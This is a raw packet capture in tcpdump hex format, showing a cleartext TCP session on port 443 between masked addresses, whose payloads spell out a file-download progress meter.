05:35:46.689511 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2564:2565(1) ack 1229 win 8576 <nop,nop,timestamp 2127267 633027623> (DF)
0x0000 4500 0035 f302 4000 4006 875a 800a 097e E..5..@.@..Z...~
0x0010 d380 635d 01bb 0639 4fd9 c4d1 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d140 0000 0101 080a 0020 75a3 ..!..@........u.
0x0030 25bb 3c27 2e %.<'.
05:35:46.690030 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2565:2566(1) ack 1229 win 8576 <nop,nop,timestamp 2127267 633027623> (DF)
0x0000 4500 0035 f303 4000 4006 8759 800a 097e E..5..@.@..Y...~
0x0010 d380 635d 01bb 0639 4fd9 c4d2 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d13f 0000 0101 080a 0020 75a3 ..!..?........u.
0x0030 25bb 3c27 2e %.<'.
05:35:46.690033 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2565:2566(1) ack 1229 win 8576 <nop,nop,timestamp 2127267 633027623> (DF)
0x0000 4500 0035 f303 4000 4006 8759 800a 097e E..5..@.@..Y...~
0x0010 d380 635d 01bb 0639 4fd9 c4d2 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d13f 0000 0101 080a 0020 75a3 ..!..?........u.
0x0030 25bb 3c27 2e %.<'.
05:35:46.842568 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2559 win 31856 <nop,nop,timestamp 633027639 2127263> (DF)
0x0000 4500 0034 c892 4000 3106 c0cb d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c4cc ...~.9...er.O...
0x0020 8010 7c70 a452 0000 0101 080a 25bb 3c37 ..|p.R......%.<7
0x0030 0020 759f ..u.
05:35:46.842866 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2566:2648(82) ack 1229 win 8576 <nop,nop,timestamp 2127282 633027639> (DF)
0x0000 4500 0086 f304 4000 4006 8707 800a 097e E.....@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c4d3 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 6396 0000 0101 080a 0020 75b2 ..!.c.........u.
0x0030 25bb 3c37 2e2e 2e2e 202e 2e2e 2e2e 2e2e %.<7............
0x0040 2e2e 2e20 3232 2520 4020 3234 322e 3732 ....22%.@.242.72
0x0050 204b 422f 730a 2020 3130 304b 202e 2e2e .KB/s...100K....
0x0060 2e2e 2e2e 2e2e 2e20 2e2e 2e2e 2e2e 2e2e ................
0x0070 2e2e 202e 2e2e 2e2e 2e2e 2e2e 2e20 2e2e ................
0x0080 2e2e 2e2e 2e2e ......
05:35:46.842871 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2566:2648(82) ack 1229 win 8576 <nop,nop,timestamp 2127282 633027639> (DF)
0x0000 4500 0086 f304 4000 4006 8707 800a 097e E.....@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c4d3 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 6396 0000 0101 080a 0020 75b2 ..!.c.........u.
0x0030 25bb 3c37 2e2e 2e2e 202e 2e2e 2e2e 2e2e %.<7............
0x0040 2e2e 2e20 3232 2520 4020 3234 322e 3732 ....22%.@.242.72
0x0050 204b 422f 730a 2020 3130 304b 202e 2e2e .KB/s...100K....
0x0060 2e2e 2e2e 2e2e 2e20 2e2e 2e2e 2e2e 2e2e ................
0x0070 2e2e 202e 2e2e 2e2e 2e2e 2e2e 2e20 2e2e ................
0x0080 2e2e 2e2e 2e2e ......
05:35:46.882848 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2566 win 31856 <nop,nop,timestamp 633027643 2127266> (DF)
0x0000 4500 0034 c8a4 4000 3106 c0b9 d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c4d3 ...~.9...er.O...
0x0020 8010 7c70 a444 0000 0101 080a 25bb 3c3b ..|p.D......%.<;
0x0030 0020 75a2 ..u.
05:35:46.883573 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2648:2649(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f305 4000 4006 8757 800a 097e E..5..@.@..W...~
0x0010 d380 635d 01bb 0639 4fd9 c525 2e65 72e3 ..c]...9O..%.er.
0x0020 8018 2180 d0c5 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.883577 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2648:2649(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f305 4000 4006 8757 800a 097e E..5..@.@..W...~
0x0010 d380 635d 01bb 0639 4fd9 c525 2e65 72e3 ..c]...9O..%.er.
0x0020 8018 2180 d0c5 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.883921 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2649:2650(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f306 4000 4006 8756 800a 097e E..5..@.@..V...~
0x0010 d380 635d 01bb 0639 4fd9 c526 2e65 72e3 ..c]...9O..&.er.
0x0020 8018 2180 d0c4 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.883923 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2649:2650(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f306 4000 4006 8756 800a 097e E..5..@.@..V...~
0x0010 d380 635d 01bb 0639 4fd9 c526 2e65 72e3 ..c]...9O..&.er.
0x0020 8018 2180 d0c4 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.883962 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2650:2651(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f307 4000 4006 8755 800a 097e E..5..@.@..U...~
0x0010 d380 635d 01bb 0639 4fd9 c527 2e65 72e3 ..c]...9O..'.er.
0x0020 8018 2180 dec3 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 20 %.<;.
05:35:46.883965 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2650:2651(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f307 4000 4006 8755 800a 097e E..5..@.@..U...~
0x0010 d380 635d 01bb 0639 4fd9 c527 2e65 72e3 ..c]...9O..'.er.
0x0020 8018 2180 dec3 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 20 %.<;.
05:35:46.884001 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2651:2652(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f308 4000 4006 8754 800a 097e E..5..@.@..T...~
0x0010 d380 635d 01bb 0639 4fd9 c528 2e65 72e3 ..c]...9O..(.er.
0x0020 8018 2180 d0c2 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.884004 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2651:2652(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f308 4000 4006 8754 800a 097e E..5..@.@..T...~
0x0010 d380 635d 01bb 0639 4fd9 c528 2e65 72e3 ..c]...9O..(.er.
0x0020 8018 2180 d0c2 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.884401 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2652:2653(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f309 4000 4006 8753 800a 097e E..5..@.@..S...~
0x0010 d380 635d 01bb 0639 4fd9 c529 2e65 72e3 ..c]...9O..).er.
0x0020 8018 2180 d0c1 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.884404 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2652:2653(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f309 4000 4006 8753 800a 097e E..5..@.@..S...~
0x0010 d380 635d 01bb 0639 4fd9 c529 2e65 72e3 ..c]...9O..).er.
0x0020 8018 2180 d0c1 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.885674 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2653:2654(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f30a 4000 4006 8752 800a 097e E..5..@.@..R...~
0x0010 d380 635d 01bb 0639 4fd9 c52a 2e65 72e3 ..c]...9O..*.er.
0x0020 8018 2180 d0c0 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.885676 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2653:2654(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f30a 4000 4006 8752 800a 097e E..5..@.@..R...~
0x0010 d380 635d 01bb 0639 4fd9 c52a 2e65 72e3 ..c]...9O..*.er.
0x0020 8018 2180 d0c0 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.885989 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2654:2655(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f30b 4000 4006 8751 800a 097e E..5..@.@..Q...~
0x0010 d380 635d 01bb 0639 4fd9 c52b 2e65 72e3 ..c]...9O..+.er.
0x0020 8018 2180 d0bf 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.885992 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2654:2655(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f30b 4000 4006 8751 800a 097e E..5..@.@..Q...~
0x0010 d380 635d 01bb 0639 4fd9 c52b 2e65 72e3 ..c]...9O..+.er.
0x0020 8018 2180 d0bf 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.886030 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2655:2656(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f30c 4000 4006 8750 800a 097e E..5..@.@..P...~
0x0010 d380 635d 01bb 0639 4fd9 c52c 2e65 72e3 ..c]...9O..,.er.
0x0020 8018 2180 d0be 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:46.886032 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2655:2656(1) ack 1229 win 8576 <nop,nop,timestamp 2127286 633027643> (DF)
0x0000 4500 0035 f30c 4000 4006 8750 800a 097e E..5..@.@..P...~
0x0010 d380 635d 01bb 0639 4fd9 c52c 2e65 72e3 ..c]...9O..,.er.
0x0020 8018 2180 d0be 0000 0101 080a 0020 75b6 ..!...........u.
0x0030 25bb 3c3b 2e %.<;.
05:35:47.032593 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2648 win 31856 <nop,nop,timestamp 633027658 2127282> (DF)
0x0000 4500 0034 c903 4000 3106 c05a d380 635d E..4..@.1..Z..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c525 ...~.9...er.O..%
0x0020 8010 7c70 a3d3 0000 0101 080a 25bb 3c4a ..|p........%.<J
0x0030 0020 75b2 ..u.
05:35:47.033096 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2656:2657(1) ack 1229 win 8576 <nop,nop,timestamp 2127301 633027658> (DF)
0x0000 4500 0035 f30d 4000 4006 874f 800a 097e E..5..@.@..O...~
0x0010 d380 635d 01bb 0639 4fd9 c52d 2e65 72e3 ..c]...9O..-.er.
0x0020 8018 2180 d09f 0000 0101 080a 0020 75c5 ..!...........u.
0x0030 25bb 3c4a 2e %.<J.
05:35:47.033101 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2656:2657(1) ack 1229 win 8576 <nop,nop,timestamp 2127301 633027658> (DF)
0x0000 4500 0035 f30d 4000 4006 874f 800a 097e E..5..@.@..O...~
0x0010 d380 635d 01bb 0639 4fd9 c52d 2e65 72e3 ..c]...9O..-.er.
0x0020 8018 2180 d09f 0000 0101 080a 0020 75c5 ..!...........u.
0x0030 25bb 3c4a 2e %.<J.
05:35:47.033914 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2657:2658(1) ack 1229 win 8576 <nop,nop,timestamp 2127301 633027658> (DF)
0x0000 4500 0035 f30e 4000 4006 874e 800a 097e E..5..@.@..N...~
0x0010 d380 635d 01bb 0639 4fd9 c52e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d09e 0000 0101 080a 0020 75c5 ..!...........u.
0x0030 25bb 3c4a 2e %.<J.
05:35:47.033917 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2657:2658(1) ack 1229 win 8576 <nop,nop,timestamp 2127301 633027658> (DF)
0x0000 4500 0035 f30e 4000 4006 874e 800a 097e E..5..@.@..N...~
0x0010 d380 635d 01bb 0639 4fd9 c52e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d09e 0000 0101 080a 0020 75c5 ..!...........u.
0x0030 25bb 3c4a 2e %.<J.
05:35:47.072843 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2656 win 31856 <nop,nop,timestamp 633027662 2127286> (DF)
0x0000 4500 0034 c92a 4000 3106 c033 d380 635d E..4.*@.1..3..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c52d ...~.9...er.O..-
0x0020 8010 7c70 a3c3 0000 0101 080a 25bb 3c4e ..|p........%.<N
0x0030 0020 75b6 ..u.
05:35:47.072993 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2658:2766(108) ack 1229 win 8576 <nop,nop,timestamp 2127305 633027662> (DF)
0x0000 4500 00a0 f30f 4000 4006 86e2 800a 097e E.....@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c52f 2e65 72e3 ..c]...9O../.er.
0x0020 8018 2180 b39f 0000 0101 080a 0020 75c9 ..!...........u.
0x0030 25bb 3c4e 2e2e 2e20 3333 2520 4020 3134 %.<N....33%.@.14
0x0040 392e 3730 204b 422f 730a 2020 3135 304b 9.70.KB/s...150K
0x0050 202e 2e2e 2e2e 2e2e 2e2e 2e20 2e2e 2e2e ................
0x0060 2e2e 2e2e 2e2e 202e 2e2e 2e2e 2e2e 2e2e ................
0x0070 2e20 2e2e 2e2e 2e2e 2e2e 2e2e 202e 2e2e ................
0x0080 2e2e 2e2e 2e2e 2e20 3434 2520 4020 2031 ........44%.@..1
0x0090 362e 3238 204d 422f 730a 2020 3230 304b 6.28.MB/s...200K
05:35:47.072996 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2658:2766(108) ack 1229 win 8576 <nop,nop,timestamp 2127305 633027662> (DF)
0x0000 4500 00a0 f30f 4000 4006 86e2 800a 097e E.....@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c52f 2e65 72e3 ..c]...9O../.er.
0x0020 8018 2180 b39f 0000 0101 080a 0020 75c9 ..!...........u.
0x0030 25bb 3c4e 2e2e 2e20 3333 2520 4020 3134 %.<N....33%.@.14
0x0040 392e 3730 204b 422f 730a 2020 3135 304b 9.70.KB/s...150K
0x0050 202e 2e2e 2e2e 2e2e 2e2e 2e20 2e2e 2e2e ................
0x0060 2e2e 2e2e 2e2e 202e 2e2e 2e2e 2e2e 2e2e ................
0x0070 2e20 2e2e 2e2e 2e2e 2e2e 2e2e 202e 2e2e ................
0x0080 2e2e 2e2e 2e2e 2e20 3434 2520 4020 2031 ........44%.@..1
0x0090 362e 3238 204d 422f 730a 2020 3230 304b 6.28.MB/s...200K
05:35:47.079486 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2766:2767(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f310 4000 4006 874c 800a 097e E..5..@.@..L...~
0x0010 d380 635d 01bb 0639 4fd9 c59b 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 de28 0000 0101 080a 0020 75ca ..!..(........u.
0x0030 25bb 3c4e 20 %.<N.
05:35:47.079490 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2766:2767(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f310 4000 4006 874c 800a 097e E..5..@.@..L...~
0x0010 d380 635d 01bb 0639 4fd9 c59b 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 de28 0000 0101 080a 0020 75ca ..!..(........u.
0x0030 25bb 3c4e 20 %.<N.
05:35:47.079530 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2767:2768(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f311 4000 4006 874b 800a 097e E..5..@.@..K...~
0x0010 d380 635d 01bb 0639 4fd9 c59c 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d027 0000 0101 080a 0020 75ca ..!..'........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.079532 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2767:2768(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f311 4000 4006 874b 800a 097e E..5..@.@..K...~
0x0010 d380 635d 01bb 0639 4fd9 c59c 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d027 0000 0101 080a 0020 75ca ..!..'........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.080118 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2768:2769(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f312 4000 4006 874a 800a 097e E..5..@.@..J...~
0x0010 d380 635d 01bb 0639 4fd9 c59d 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d026 0000 0101 080a 0020 75ca ..!..&........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.080121 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2768:2769(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f312 4000 4006 874a 800a 097e E..5..@.@..J...~
0x0010 d380 635d 01bb 0639 4fd9 c59d 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d026 0000 0101 080a 0020 75ca ..!..&........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.080159 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2769:2770(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f313 4000 4006 8749 800a 097e E..5..@.@..I...~
0x0010 d380 635d 01bb 0639 4fd9 c59e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d025 0000 0101 080a 0020 75ca ..!..%........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.080162 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2769:2770(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f313 4000 4006 8749 800a 097e E..5..@.@..I...~
0x0010 d380 635d 01bb 0639 4fd9 c59e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d025 0000 0101 080a 0020 75ca ..!..%........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.081162 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2770:2771(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f314 4000 4006 8748 800a 097e E..5..@.@..H...~
0x0010 d380 635d 01bb 0639 4fd9 c59f 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d024 0000 0101 080a 0020 75ca ..!..$........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.081166 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2770:2771(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f314 4000 4006 8748 800a 097e E..5..@.@..H...~
0x0010 d380 635d 01bb 0639 4fd9 c59f 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d024 0000 0101 080a 0020 75ca ..!..$........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.081547 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2771:2772(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f315 4000 4006 8747 800a 097e E..5..@.@..G...~
0x0010 d380 635d 01bb 0639 4fd9 c5a0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d023 0000 0101 080a 0020 75ca ..!..#........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.081559 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2771:2772(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f315 4000 4006 8747 800a 097e E..5..@.@..G...~
0x0010 d380 635d 01bb 0639 4fd9 c5a0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d023 0000 0101 080a 0020 75ca ..!..#........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.081598 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2772:2773(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f316 4000 4006 8746 800a 097e E..5..@.@..F...~
0x0010 d380 635d 01bb 0639 4fd9 c5a1 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d022 0000 0101 080a 0020 75ca ..!.."........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.081600 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2772:2773(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f316 4000 4006 8746 800a 097e E..5..@.@..F...~
0x0010 d380 635d 01bb 0639 4fd9 c5a1 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d022 0000 0101 080a 0020 75ca ..!.."........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.082335 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2773:2774(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f317 4000 4006 8745 800a 097e E..5..@.@..E...~
0x0010 d380 635d 01bb 0639 4fd9 c5a2 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d021 0000 0101 080a 0020 75ca ..!..!........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.082338 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2773:2774(1) ack 1229 win 8576 <nop,nop,timestamp 2127306 633027662> (DF)
0x0000 4500 0035 f317 4000 4006 8745 800a 097e E..5..@.@..E...~
0x0010 d380 635d 01bb 0639 4fd9 c5a2 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d021 0000 0101 080a 0020 75ca ..!..!........u.
0x0030 25bb 3c4e 2e %.<N.
05:35:47.222387 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2658 win 31856 <nop,nop,timestamp 633027677 2127301> (DF)
0x0000 4500 0034 c981 4000 3106 bfdc d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c52f ...~.9...er.O../
0x0020 8010 7c70 a3a3 0000 0101 080a 25bb 3c5d ..|p........%.<]
0x0030 0020 75c5 ..u.
05:35:47.222676 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2774:2783(9) ack 1229 win 8576 <nop,nop,timestamp 2127320 633027677> (DF)
0x0000 4500 003d f318 4000 4006 873c 800a 097e E..=..@.@..<...~
0x0010 d380 635d 01bb 0639 4fd9 c5a3 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 1751 0000 0101 080a 0020 75d8 ..!..Q........u.
0x0030 25bb 3c5d 2e2e 2e20 2e2e 2e2e 2e %.<].........
05:35:47.222682 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2774:2783(9) ack 1229 win 8576 <nop,nop,timestamp 2127320 633027677> (DF)
0x0000 4500 003d f318 4000 4006 873c 800a 097e E..=..@.@..<...~
0x0010 d380 635d 01bb 0639 4fd9 c5a3 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 1751 0000 0101 080a 0020 75d8 ..!..Q........u.
0x0030 25bb 3c5d 2e2e 2e20 2e2e 2e2e 2e %.<].........
05:35:47.231074 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2783:2784(1) ack 1229 win 8576 <nop,nop,timestamp 2127321 633027677> (DF)
0x0000 4500 0035 f319 4000 4006 8743 800a 097e E..5..@.@..C...~
0x0010 d380 635d 01bb 0639 4fd9 c5ac 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cff9 0000 0101 080a 0020 75d9 ..!...........u.
0x0030 25bb 3c5d 2e %.<].
05:35:47.231079 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2783:2784(1) ack 1229 win 8576 <nop,nop,timestamp 2127321 633027677> (DF)
0x0000 4500 0035 f319 4000 4006 8743 800a 097e E..5..@.@..C...~
0x0010 d380 635d 01bb 0639 4fd9 c5ac 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cff9 0000 0101 080a 0020 75d9 ..!...........u.
0x0030 25bb 3c5d 2e %.<].
05:35:47.231121 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2784:2785(1) ack 1229 win 8576 <nop,nop,timestamp 2127321 633027677> (DF)
0x0000 4500 0035 f31a 4000 4006 8742 800a 097e E..5..@.@..B...~
0x0010 d380 635d 01bb 0639 4fd9 c5ad 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cff8 0000 0101 080a 0020 75d9 ..!...........u.
0x0030 25bb 3c5d 2e %.<].
05:35:47.231123 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2784:2785(1) ack 1229 win 8576 <nop,nop,timestamp 2127321 633027677> (DF)
0x0000 4500 0035 f31a 4000 4006 8742 800a 097e E..5..@.@..B...~
0x0010 d380 635d 01bb 0639 4fd9 c5ad 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cff8 0000 0101 080a 0020 75d9 ..!...........u.
0x0030 25bb 3c5d 2e %.<].
05:35:47.258330 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2768 win 31856 <nop,nop,timestamp 633027680 2127305,nop,nop,sack sack 1 {2769:2770} > (DF)
0x0000 4500 0040 c995 4000 3106 bfbc d380 635d E..@..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c59d ...~.9...er.O...
0x0020 b010 7c70 4226 0000 0101 080a 25bb 3c60 ..|pB&......%.<`
0x0030 0020 75c9 0101 050a 4fd9 c59e 4fd9 c59f ..u.....O...O...
05:35:47.258651 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2785:2805(20) ack 1229 win 8576 <nop,nop,timestamp 2127324 633027680> (DF)
0x0000 4500 0048 f31b 4000 4006 872e 800a 097e E..H..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c5ae 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 3e1f 0000 0101 080a 0020 75dc ..!.>.........u.
0x0030 25bb 3c60 2e2e 2e20 2e2e 2e2e 2e2e 2e2e %.<`............
0x0040 2e2e 202e 2e2e 2e2e ........
05:35:47.258656 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2785:2805(20) ack 1229 win 8576 <nop,nop,timestamp 2127324 633027680> (DF)
0x0000 4500 0048 f31b 4000 4006 872e 800a 097e E..H..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c5ae 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 3e1f 0000 0101 080a 0020 75dc ..!.>.........u.
0x0030 25bb 3c60 2e2e 2e20 2e2e 2e2e 2e2e 2e2e %.<`............
0x0040 2e2e 202e 2e2e 2e2e ........
05:35:47.275406 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2805:2806(1) ack 1229 win 8576 <nop,nop,timestamp 2127325 633027680> (DF)
0x0000 4500 0035 f31c 4000 4006 8740 800a 097e E..5..@.@..@...~
0x0010 d380 635d 01bb 0639 4fd9 c5c2 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cfdc 0000 0101 080a 0020 75dd ..!...........u.
0x0030 25bb 3c60 2e %.<`.
05:35:47.275409 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2805:2806(1) ack 1229 win 8576 <nop,nop,timestamp 2127325 633027680> (DF)
0x0000 4500 0035 f31c 4000 4006 8740 800a 097e E..5..@.@..@...~
0x0010 d380 635d 01bb 0639 4fd9 c5c2 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cfdc 0000 0101 080a 0020 75dd ..!...........u.
0x0030 25bb 3c60 2e %.<`.
05:35:47.275449 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2806:2807(1) ack 1229 win 8576 <nop,nop,timestamp 2127325 633027680> (DF)
0x0000 4500 0035 f31d 4000 4006 873f 800a 097e E..5..@.@..?...~
